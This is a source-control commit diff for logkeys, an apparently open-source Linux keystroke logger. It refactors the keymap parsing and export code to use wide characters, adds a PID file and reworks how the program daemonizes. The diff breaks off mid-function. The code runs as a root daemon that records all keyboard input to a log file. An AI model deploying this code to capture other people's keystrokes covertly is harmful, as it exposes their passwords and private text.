Commit c0e749c0 authored by kernc's avatar kernc

More refactoring and bug fixes. Inspired by Benjamin Jochheim. Thanks much! :)

git-svn-id: https://logkeys.googlecode.com/svn/trunk@40 c501e62c-e7d1-11de-a198-37193048d1ed
parent 3748cdb0
v0.1.1 (?) v0.1.1 (?)
* bug fixes * fixed 100% CPU issue on x64
* various other bug fixes
* removed pgrep dependency * removed pgrep dependency
* PID file now in /var/run/ * PID file now in /var/run/
* symlink attack vulnerability fixes * symlink attack vulnerability fixes
......
...@@ -24,6 +24,9 @@ ...@@ -24,6 +24,9 @@
/* Define to 1 if you have the <cstring> header file. */ /* Define to 1 if you have the <cstring> header file. */
#undef HAVE_CSTRING #undef HAVE_CSTRING
/* Define to 1 if you have the <cwchar> header file. */
#undef HAVE_CWCHAR
/* Define to 1 if you have the `error' function. */ /* Define to 1 if you have the `error' function. */
#undef HAVE_ERROR #undef HAVE_ERROR
...@@ -48,6 +51,9 @@ ...@@ -48,6 +51,9 @@
/* Define to 1 if you have the `fgets' function. */ /* Define to 1 if you have the `fgets' function. */
#undef HAVE_FGETS #undef HAVE_FGETS
/* Define to 1 if you have the `fgetws' function. */
#undef HAVE_FGETWS
/* Define to 1 if you have the `flock' function. */ /* Define to 1 if you have the `flock' function. */
#undef HAVE_FLOCK #undef HAVE_FLOCK
...@@ -129,9 +135,6 @@ ...@@ -129,9 +135,6 @@
/* Define to 1 if you have the `sigaction' function. */ /* Define to 1 if you have the `sigaction' function. */
#undef HAVE_SIGACTION #undef HAVE_SIGACTION
/* Define to 1 if you have the `sleep' function. */
#undef HAVE_SLEEP
/* Define to 1 if you have the `sscanf' function. */ /* Define to 1 if you have the `sscanf' function. */
#undef HAVE_SSCANF #undef HAVE_SSCANF
...@@ -171,6 +174,9 @@ ...@@ -171,6 +174,9 @@
/* Define to 1 if you have the `strncat' function. */ /* Define to 1 if you have the `strncat' function. */
#undef HAVE_STRNCAT #undef HAVE_STRNCAT
/* Define to 1 if you have the `swscanf' function. */
#undef HAVE_SWSCANF
/* Define to 1 if you have the <sys/file.h> header file. */ /* Define to 1 if you have the <sys/file.h> header file. */
#undef HAVE_SYS_FILE_H #undef HAVE_SYS_FILE_H
...@@ -195,6 +201,12 @@ ...@@ -195,6 +201,12 @@
/* Define to 1 if you have the <vfork.h> header file. */ /* Define to 1 if you have the <vfork.h> header file. */
#undef HAVE_VFORK_H #undef HAVE_VFORK_H
/* Define to 1 if you have the `wcscpy' function. */
#undef HAVE_WCSCPY
/* Define to 1 if you have the `wcslen' function. */
#undef HAVE_WCSLEN
/* Define to 1 if `fork' works. */ /* Define to 1 if `fork' works. */
#undef HAVE_WORKING_FORK #undef HAVE_WORKING_FORK
......
...@@ -3945,7 +3945,7 @@ fi ...@@ -3945,7 +3945,7 @@ fi
done done
for ac_header in cstdio cerrno cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h for ac_header in cstdio cerrno cwchar cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h
do : do :
as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
ac_fn_cxx_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default" ac_fn_cxx_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default"
...@@ -4389,7 +4389,7 @@ $as_echo "#define HAVE_WORKING_FORK 1" >>confdefs.h ...@@ -4389,7 +4389,7 @@ $as_echo "#define HAVE_WORKING_FORK 1" >>confdefs.h
fi fi
for ac_func in geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read sleep time for ac_func in geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read time fgetws wcslen swscanf wcscpy
do : do :
as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh` as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
ac_fn_cxx_check_func "$LINENO" "$ac_func" "$as_ac_var" ac_fn_cxx_check_func "$LINENO" "$ac_func" "$as_ac_var"
......
...@@ -41,7 +41,7 @@ AC_CHECK_FILE( ...@@ -41,7 +41,7 @@ AC_CHECK_FILE(
# Checks for header files. # Checks for header files.
AC_CHECK_HEADERS( AC_CHECK_HEADERS(
[cstdio cerrno cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h], [cstdio cerrno cwchar cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h],
[], [],
[AC_MSG_ERROR([Expected header file is missing!])] [AC_MSG_ERROR([Expected header file is missing!])]
) )
...@@ -56,7 +56,7 @@ AC_TYPE_SIZE_T ...@@ -56,7 +56,7 @@ AC_TYPE_SIZE_T
AC_FUNC_ERROR_AT_LINE AC_FUNC_ERROR_AT_LINE
AC_FUNC_FORK AC_FUNC_FORK
AC_CHECK_FUNCS( AC_CHECK_FUNCS(
[geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read sleep time], [geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read time fgetws wcslen swscanf wcscpy],
[], [],
[AC_MSG_ERROR([Expected function is missing!])] [AC_MSG_ERROR([Expected function is missing!])]
) )
......
...@@ -4,17 +4,19 @@ ...@@ -4,17 +4,19 @@
#include <cassert> #include <cassert>
#include <linux/input.h> #include <linux/input.h>
namespace logkeys {
// these are ordered default US keymap keys // these are ordered default US keymap keys
wchar_t char_keys[49] = L"1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<"; wchar_t char_keys[49] = L"1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<";
wchar_t shift_keys[49] = L"!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\"~|ZXCVBNM<>?>"; wchar_t shift_keys[49] = L"!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\"~|ZXCVBNM<>?>";
wchar_t altgr_keys[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\\0qwertyuiop\0~asdfghjkl\0\0\0\0zxcvbnm\0\0\0|"; // \0 on no symbol; as obtained by `loadkeys us` wchar_t altgr_keys[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\\0qwertyuiop\0~asdfghjkl\0\0\0\0zxcvbnm\0\0\0|"; // \0 on no symbol; as obtained by `loadkeys us`
// TODO: add altgr_shift_keys[] // TODO: add altgr_shift_keys[]
char func_keys[][8] = { wchar_t func_keys[][8] = {
"<Esc>", "<BckSp>", "<Tab>", "<Enter>", "<LCtrl>", "<LShft>", "<RShft>", "<KP*>", "<LAlt>", " ", "<CpsLk>", "<F1>", "<F2>", "<F3>", "<F4>", "<F5>", L"<Esc>", L"<BckSp>", L"<Tab>", L"<Enter>", L"<LCtrl>", L"<LShft>", L"<RShft>", L"<KP*>", L"<LAlt>", L" L", L"<CpsLk>", L"<F1>", L"<F2>", L"<F3>", L"<F4>", L"<F5>",
"<F6>", "<F7>", "<F8>", "<F9>", "<F10>", "<NumLk>", "<ScrLk>", "<KP7>", "<KP8>", "<KP9>", "<KP->", "<KP4>", "<KP5>", "<KP6>", "<KP+>", "<KP1>", L"<F6>", L"<F7>", L"<F8>", L"<F9>", L"<F10>", L"<NumLk>", L"<ScrLk>", L"<KP7>", L"<KP8>", L"<KP9>", L"<KP->", L"<KP4>", L"<KP5>", L"<KP6>", L"<KP+>", L"<KP1>",
"<KP2>", "<KP3>", "<KP0>", "<KP.>", /*"<",*/ "<F11>", "<F12>", "<KPEnt>", "<RCtrl>", "<KP/>", "<PrtSc>", "<AltGr>", "<Break>" /*linefeed?*/, "<Home>", "<Up>", "<PgUp>", L"<KP2>", L"<KP3>", L"<KP0>", L"<KP.>", /*"<",*/ L"<F11>", L"<F12>", L"<KPEnt>", L"<RCtrl>", L"<KP/>", L"<PrtSc>", L"<AltGr>", L"<Break>" /*linefeed?*/, L"<Home>", L"<Up>", L"<PgUp>",
"<Left>", "<Right>", "<End>", "<Down>", "<PgDn>", "<Ins>", "<Del>", "<Pause>", "<LMeta>", "<RMeta>", "<Menu>" L"<Left>", L"<Right>", L"<End>", L"<Down>", L"<PgDn>", L"<Ins>", L"<Del>", L"<Pause>", L"<LMeta>", L"<RMeta>", L"<Menu>"
}; };
const char char_or_func[] = // c = character key, f = function key, _ = blank/error ('_' is used, don't change); all according to KEY_* defines from <linux/input.h> const char char_or_func[] = // c = character key, f = function key, _ = blank/error ('_' is used, don't change); all according to KEY_* defines from <linux/input.h>
...@@ -87,4 +89,6 @@ inline int to_func_keys_index(unsigned int keycode) ...@@ -87,4 +89,6 @@ inline int to_func_keys_index(unsigned int keycode)
return -1; // not function key keycode return -1; // not function key keycode
} }
} // namespace logkeys
#endif #endif
...@@ -8,6 +8,7 @@ ...@@ -8,6 +8,7 @@
#include <cstdio> #include <cstdio>
#include <cerrno> #include <cerrno>
#include <cwchar>
#include <cstring> #include <cstring>
#include <sstream> #include <sstream>
#include <cstdlib> #include <cstdlib>
...@@ -25,7 +26,7 @@ ...@@ -25,7 +26,7 @@
# include <config.h> // include config produced from ./configure # include <config.h> // include config produced from ./configure
#endif #endif
#ifndef PACKAGE_VERSION #ifndef PACKAGE_VERSION
# define PACKAGE_VERSION "0.1.0" // if PACKAGE_VERSION wasn't defined in <config.h> # define PACKAGE_VERSION "0.1.0" // if PACKAGE_VERSION wasn't defined in <config.h>
#endif #endif
...@@ -33,6 +34,8 @@ ...@@ -33,6 +34,8 @@
#define DEFAULT_LOG_FILE "/var/log/logkeys.log" #define DEFAULT_LOG_FILE "/var/log/logkeys.log"
#define PID_FILE "/var/run/logkeys.pid" #define PID_FILE "/var/run/logkeys.pid"
namespace logkeys {
void usage() void usage()
{ {
fprintf(stderr, fprintf(stderr,
...@@ -73,6 +76,17 @@ std::string execute(const char* cmd) ...@@ -73,6 +76,17 @@ std::string execute(const char* cmd)
return result; return result;
} }
struct arguments
{
bool start; // start keylogger, -s switch
bool kill; // stop keylogger, -k switch
bool us_keymap; // use default US keymap, -u switch
int export_keymap; // export keymap obtained from dumpkeys, --export-keymap
int nofunc; // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
char * logfile; // user-specified log filename, -o switch
char * keymap; // user-specified keymap file, -m switch or --export-keymap
char * device; // user-specified input event device, given with -d switch
} args = {0}; // default all args to 0x0
int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it
...@@ -81,6 +95,7 @@ void signal_handler(int signal) ...@@ -81,6 +95,7 @@ void signal_handler(int signal)
if (input_fd != -1) if (input_fd != -1)
close(input_fd); // closing input file will break the infinite while loop close(input_fd); // closing input file will break the infinite while loop
} }
void set_utf8_locale() void set_utf8_locale()
{ {
// set locale to common UTF-8 for wchars to be recognized correctly // set locale to common UTF-8 for wchars to be recognized correctly
...@@ -92,11 +107,30 @@ void set_utf8_locale() ...@@ -92,11 +107,30 @@ void set_utf8_locale()
error(EXIT_FAILURE, 0, "LC_CTYPE locale must be of UTF-8 type"); error(EXIT_FAILURE, 0, "LC_CTYPE locale must be of UTF-8 type");
} }
} }
void exit_cleanup(int status, void * discard)
void exit_cleanup(int status, void *discard)
{ {
// TODO: // TODO:
} }
void create_PID_file()
{
// create temp file carrying PID for later retrieval
int temp_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (temp_fd != -1) {
char pid_str[16] = {0};
sprintf(pid_str, "%d", getpid());
if (write(temp_fd, pid_str, strlen(pid_str)) == -1)
error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'");
close(temp_fd);
}
else {
if (errno == EEXIST)
error(EXIT_FAILURE, errno, "Another process already running? Quitting. (" PID_FILE ")");
else error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'");
}
}
void kill_existing_process() void kill_existing_process()
{ {
pid_t pid; pid_t pid;
...@@ -121,9 +155,8 @@ void kill_existing_process() ...@@ -121,9 +155,8 @@ void kill_existing_process()
remove(PID_FILE); remove(PID_FILE);
kill(pid, SIGINT); kill(pid, SIGINT);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS); // process killed successfully, exit
} }
error(EXIT_FAILURE, 0, "No process killed"); error(EXIT_FAILURE, 0, "No process killed");
} }
...@@ -136,50 +169,190 @@ void set_signal_handling() ...@@ -136,50 +169,190 @@ void set_signal_handling()
sigaction(SIGTERM, &act, NULL); sigaction(SIGTERM, &act, NULL);
} }
void daemonize() void determine_system_keymap()
{ {
if ( getppid() == 1 ) return; // if already a daemon, return // custom map will be used; erase existing US keymapping
memset(char_keys, '\0', sizeof(char_keys));
memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys));
switch (fork()) { // get keymap from dumpkeys
case 0: break; // child continues // if one knows of a better, more portable way to get wchar_t-s from symbolic keysym-s from `dumpkeys` or `xmodmap` or another, PLEASE LET ME KNOW! kthx
case -1: error(EXIT_FAILURE, errno, "Error creating child process"); std::stringstream ss, dump(execute("dumpkeys -n | grep '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'")); // see example output after i.e. `loadkeys slovene`
default: _exit(EXIT_SUCCESS); // parent exits std::string line;
}
unsigned int i = 0; // keycode
int index;
int utf8code; // utf-8 code of keysym answering keycode i
while (std::getline(dump, line)) {
ss.clear();
ss.str("");
utf8code = 0;
// replace any U+#### with 0x#### for easier parsing
index = line.find("U+", 0);
while (static_cast<std::string::size_type>(index) != std::string::npos) {
line[index] = '0'; line[index + 1] = 'x';
index = line.find("U+", index);
}
if (++i >= sizeof(char_or_func)) break; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used)
if (!is_char_key(i)) continue; // only map character keys of keyboard
assert(line.size() > 0);
if (line[0] == 'k') { // if line starts with 'keycode'
index = to_char_keys_index(i);
ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ")
ss >> std::hex >> utf8code;
// 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly?
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
char_keys[index] = static_cast<wchar_t>(utf8code);
// if there is a second keysym column, assume it is a shift column
if (ss >> std::hex >> utf8code) {
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
shift_keys[index] = static_cast<wchar_t>(utf8code);
}
// if there is a third keysym column, assume it is an altgr column
if (ss >> std::hex >> utf8code) {
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
altgr_keys[index] = static_cast<wchar_t>(utf8code);
}
continue;
}
// else if line starts with 'shift i'
index = to_char_keys_index(--i);
ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ")
ss >> std::hex >> utf8code;
if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS
if (line[1] == 's') // if line starts with "shift"
shift_keys[index] = static_cast<wchar_t>(utf8code);
if (line[1] == 'a') // if line starts with "altgr"
altgr_keys[index] = static_cast<wchar_t>(utf8code);
} // while (getline(dump, line))
}
void parse_input_keymap()
{
// custom map will be used; erase existing US keytables
memset(char_keys, '\0', sizeof(char_keys));
memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys));
setsid(); stdin = freopen(args.keymap, "r", stdin);
if(chdir("/")); // wrapped in if() to avoid compiler warning if (stdin == NULL)
error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap);
switch (fork()) { unsigned int i = -1;
case 0: break; // second child continues unsigned int line_number = 0;
case -1: error(EXIT_FAILURE, errno, "Error creating 2nd child process"); wchar_t func_string[32];
default: _exit(EXIT_SUCCESS); // parent exits wchar_t line[32];
}
close(STDIN_FILENO); // drop stdin, stdout, stderr while (!feof(stdin)) {
close(STDOUT_FILENO);
close(STDERR_FILENO); if (++i >= sizeof(char_or_func)) break; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used)
} //\ daemon
if (is_used_key(i)) {
++line_number;
if(fgetws(line, sizeof(line), stdin) == NULL) {
if (feof(stdin)) break;
else error_at_line(EXIT_FAILURE, errno, args.keymap, line_number, "fgets() error");
}
// line at most 8 characters wide (func lines are "1234567\n", char lines are "1 2 3\n")
if (wcslen(line) > 8) // TODO: replace 8*2 with 8 and wcslen()!
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Line too long!");
// terminate line before any \r or \n
std::wstring::size_type last = std::wstring(line).find_last_not_of(L"\r\n");
if (last == std::wstring::npos)
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "No characters on line");
line[last + 1] = '\0';
}
if (is_char_key(i)) {
unsigned int index = to_char_keys_index(i);
if (swscanf(line, L"%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 1) {
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Too few input characters on line");
}
}
if (is_func_key(i)) {
if (i == KEY_SPACE) continue; // space causes empty string and trouble
if (swscanf(line, L"%7ls", &func_string[0]) != 1)
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Invalid function key string"); // does this ever happen?
wcscpy(func_keys[to_func_keys_index(i)], func_string);
}
} // while (!feof(stdin))
fclose(stdin);
if (line_number < N_KEYS_DEFINED)
#define QUOTE(x) #x // quotes x so it can be used as (char*)
error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap);
}
struct arguments { void export_keymap_to_file()
bool start; // start keylogger, -s switch {
bool kill; // stop keylogger, -k switch int keymap_fd = open(args.keymap, O_CREAT | O_EXCL | O_WRONLY, 0644);
bool us_keymap; // use default US keymap, -u switch if (keymap_fd == -1)
int export_keymap; // export keymap obtained from dumpkeys, --export-keymap error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap);
int nofunc; // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch char buffer[32];
char * logfile; // user-specified log filename, -o switch int buflen = 0;
char * keymap; // user-specified keymap file, -m switch or --export-keymap unsigned int index;
char * device; // user-specified input event device, given with -d switch for (unsigned int i = 0; i < sizeof(char_or_func); ++i) {
} args = {0}; // default all args to 0x0 buflen = 0;
if (is_char_key(i)) {
index = to_char_keys_index(i);
// only export non-null characters
if (char_keys[index] != L'\0' &&
shift_keys[index] != L'\0' &&
altgr_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]);
else if (char_keys[index] != L'\0' &&
shift_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]);
else if (char_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc\n", char_keys[index]);
else // if all \0, export nothing on that line (=keymap will not parse)
buflen = sprintf(buffer, "\n");
}
else if (is_func_key(i)) {
buflen = sprintf(buffer, "%ls\n", func_keys[to_func_keys_index(i)]);
}
if (is_used_key(i))
if (write(keymap_fd, buffer, buflen) < buflen)
error(EXIT_FAILURE, errno, "Error writing to keymap file '%s'", args.keymap);
}
close(keymap_fd);
error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap);
exit(EXIT_SUCCESS);
}
void determine_input_device()
{
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
std::string output = execute("grep Name /proc/bus/input/devices | grep -nE '[Kk]eyboard|kbd'");
std::stringstream input_dev_index;
input_dev_index << INPUT_EVENT_PATH;
input_dev_index << "event";
input_dev_index << (atoi(output.c_str()) - 1); // the correct input event # is (output - 1)
args.device = const_cast<char*>(input_dev_index.str().c_str()); // const_cast safe because original isn't modified
}
int main(int argc, char **argv) int main(int argc, char **argv)
{ {
on_exit(exit_cleanup, NULL); on_exit(exit_cleanup, NULL);
if (geteuid()) { error(EXIT_FAILURE, errno, "Got r00t?"); } if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?");
// default log file will be used if none specified // default log file will be used if none specified
char *default_logfile = (char*) DEFAULT_LOG_FILE; args.logfile = (char*) DEFAULT_LOG_FILE;
args.logfile = default_logfile;
{ // process options and arguments { // process options and arguments
...@@ -194,7 +367,7 @@ int main(int argc, char **argv) ...@@ -194,7 +367,7 @@ int main(int argc, char **argv)
#define EXPORT_KEYMAP_INDEX 7 #define EXPORT_KEYMAP_INDEX 7
{"export-keymap", required_argument, &args.export_keymap, 1}, // option_index of export-keymap is EXPORT_KEYMAP_INDEX (7) {"export-keymap", required_argument, &args.export_keymap, 1}, // option_index of export-keymap is EXPORT_KEYMAP_INDEX (7)
{"no-func-keys", no_argument, &args.nofunc, 1}, {"no-func-keys", no_argument, &args.nofunc, 1},
{0, 0, 0, 0} {0}
}; };
char c; char c;
...@@ -220,11 +393,12 @@ int main(int argc, char **argv) ...@@ -220,11 +393,12 @@ int main(int argc, char **argv)
while(optind < argc) while(optind < argc)
error(0, 0, "Non-option argument %s", argv[optind++]); error(0, 0, "Non-option argument %s", argv[optind++]);
} //\ arguments } // process arguments
// kill existing logkeys process // kill existing logkeys process
if (args.kill) kill_existing_process(); if (args.kill) kill_existing_process();
else if (!args.start && !args.export_keymap) { usage(); exit(EXIT_FAILURE); }
if (!args.start && !args.export_keymap) { usage(); exit(EXIT_FAILURE); }
// check for incompatible flags // check for incompatible flags
if (args.keymap && args.us_keymap) { if (args.keymap && args.us_keymap) {
...@@ -233,165 +407,20 @@ int main(int argc, char **argv) ...@@ -233,165 +407,20 @@ int main(int argc, char **argv)
set_utf8_locale(); set_utf8_locale();
// read keymap from file
if (args.start && args.keymap && !args.export_keymap) { if (args.start && args.keymap && !args.export_keymap) {
// read keymap from file
// custom map will be used; erase existing US keytables parse_input_keymap();
memset(char_keys, '\0', sizeof(char_keys)); }
memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys));
stdin = freopen(args.keymap, "r", stdin);
if (stdin == NULL)
error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap);
unsigned int i = -1;
unsigned int line_number = 0;
char func_string[32];
char line[32];
while (!feof(stdin)) {
if (++i >= sizeof(char_or_func)) break; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used)
if (is_used_key(i)) {
if(fgets(line, sizeof(line), stdin)); // wrapped in if() to avoid compiler warning
++line_number;
}
if (is_char_key(i)) {
unsigned int index = to_char_keys_index(i);
if (sscanf(line, "%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 2) {
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Too few input characters on line");
}
}
if (is_func_key(i)) {
if (i == KEY_SPACE) continue; // space causes empty string and trouble
if (sscanf(line, "%7s", &func_string[0]) != 1)
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Invalid function key string"); // does this ever happen?
strcpy(func_keys[to_func_keys_index(i)], func_string);
}
} //\ while (!feof(stdin))
fclose(stdin);
if (line_number < N_KEYS_DEFINED)
#define QUOTE(x) #x
error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap);
} // get keymap used by the system and optionally export it to file
else if ((args.start && !args.us_keymap) || args.export_keymap) { else if ((args.start && !args.us_keymap) || args.export_keymap) {
// get keymap used by the system and optionally export it to file
determine_system_keymap();
// custom map will be used; erase existing US keymapping // export keymap if so requested
memset(char_keys, '\0', sizeof(char_keys)); if (args.export_keymap) export_keymap_to_file();
memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys));
// get keymap from dumpkeys
// if one knows of a better, more portable way to get wchar_t-s from symbolic keysym-s from `dumpkeys` or `xmodmap` or another, PLEASE LET ME KNOW! kthx
std::stringstream ss, dump(execute("dumpkeys -n | grep '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'")); // see example output after i.e. `loadkeys slovene`
std::string line;
unsigned int i = 0; // keycode
int index;
int utf8code; // utf-8 code of keysym answering keycode i
while (std::getline(dump, line)) {
ss.clear();
ss.str("");
utf8code = 0;
// replace any U+#### with 0x#### for easier parsing
index = line.find("U+", 0);
while (static_cast<std::string::size_type>(index) != std::string::npos) {
line[index] = '0'; line[index + 1] = 'x';
index = line.find("U+", index);
}
assert(line.size() > 0);
if (line[0] == 'k') { // if line starts with 'keycode'
if (++i >= sizeof(char_or_func)) break; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used)
// TODO: move these two (↓↑) lines out of the parent if()
if (is_char_key(i)) {
index = to_char_keys_index(i); // only map character keys of keyboard
ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ")
ss >> std::hex >> utf8code;
// 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly?
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
char_keys[index] = static_cast<wchar_t>(utf8code);
// if there is a second keysym column, assume it is a shift column
if (ss >> std::hex >> utf8code) {
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
shift_keys[index] = static_cast<wchar_t>(utf8code);
}
// if there is a third keysym column, assume it is an altgr column
if (ss >> std::hex >> utf8code) {
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
altgr_keys[index] = static_cast<wchar_t>(utf8code);
}
} //\ if (is_char_key(i))
continue;
} //\ if (line[0] == 'k')
index = to_char_keys_index(i);
// if line starts with 'shift i'
if (is_char_key(i)) {
ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ")
ss >> std::hex >> utf8code;
if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS
if (line[1] == 's') // if line starts with "shift"
shift_keys[index] = static_cast<wchar_t>(utf8code);
if (line[1] == 'a') // if line starts with "altgr"
altgr_keys[index] = static_cast<wchar_t>(utf8code);
}
} //\ while (getline(dump, line))
// export keymap to file as requested
if (args.export_keymap) {
int keymap_fd = open(args.keymap, O_CREAT | O_EXCL | O_WRONLY, 0644);
if (keymap_fd == -1)
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap);
char buffer[32];
int buflen = 0;
for (unsigned int i = 0; i < sizeof(char_or_func); ++i) {
if (is_char_key(i)) {
index = to_char_keys_index(i);
if (altgr_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]);
else
buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]);;
}
else if (is_func_key(i)) {
buflen = sprintf(buffer, "%s\n", func_keys[to_func_keys_index(i)]);
}
if (is_used_key(i))
if (write(keymap_fd, buffer, buflen) < buflen)
error(EXIT_FAILURE, errno, "Error writing to keymap file '%s'", args.keymap);
}
close(keymap_fd);
error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap);
exit(EXIT_SUCCESS);
} //\ if (args.export_keymap)
} }
if (args.device == NULL) { // no device given with -d switch if (args.device == NULL) { // no device given with -d switch
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.) determine_input_device();
std::string output = execute("grep Name /proc/bus/input/devices | grep -nE '[Kk]eyboard|kbd'");
std::stringstream input_dev_index;
input_dev_index << INPUT_EVENT_PATH;
input_dev_index << "event";
input_dev_index << (atoi(output.c_str()) - 1); // the correct input event # is (output - 1)
args.device = const_cast<char*>(input_dev_index.str().c_str()); // const_cast safe because original isn't modified
} }
else { // event device supplied as -d argument else { // event device supplied as -d argument
std::string d(args.device); std::string d(args.device);
...@@ -401,51 +430,41 @@ int main(int argc, char **argv) ...@@ -401,51 +430,41 @@ int main(int argc, char **argv)
set_signal_handling(); set_signal_handling();
//~ daemonize(); int nochdir;
if (daemon(0, 0) == -1) // become daemon if (args.logfile[0] != '/')
nochdir = 1; // don't chdir (logfile specified with relative path)
else nochdir = 0;
int noclose = 1; // don't close streams (stderr used)
if (daemon(nochdir, noclose) == -1) // become daemon
error(EXIT_FAILURE, errno, "Failed to become daemon"); error(EXIT_FAILURE, errno, "Failed to become daemon");
close(STDIN_FILENO); close(STDOUT_FILENO); // leave stderr open
// create temp file carrying PID for later retrieval
int temp_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (temp_fd != -1) {
char pid_str[16] = {0};
sprintf(pid_str, "%d", getpid());
if (write(temp_fd, pid_str, strlen(pid_str)) == -1) {
error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'");
}
}
else {
if (errno == EEXIST)
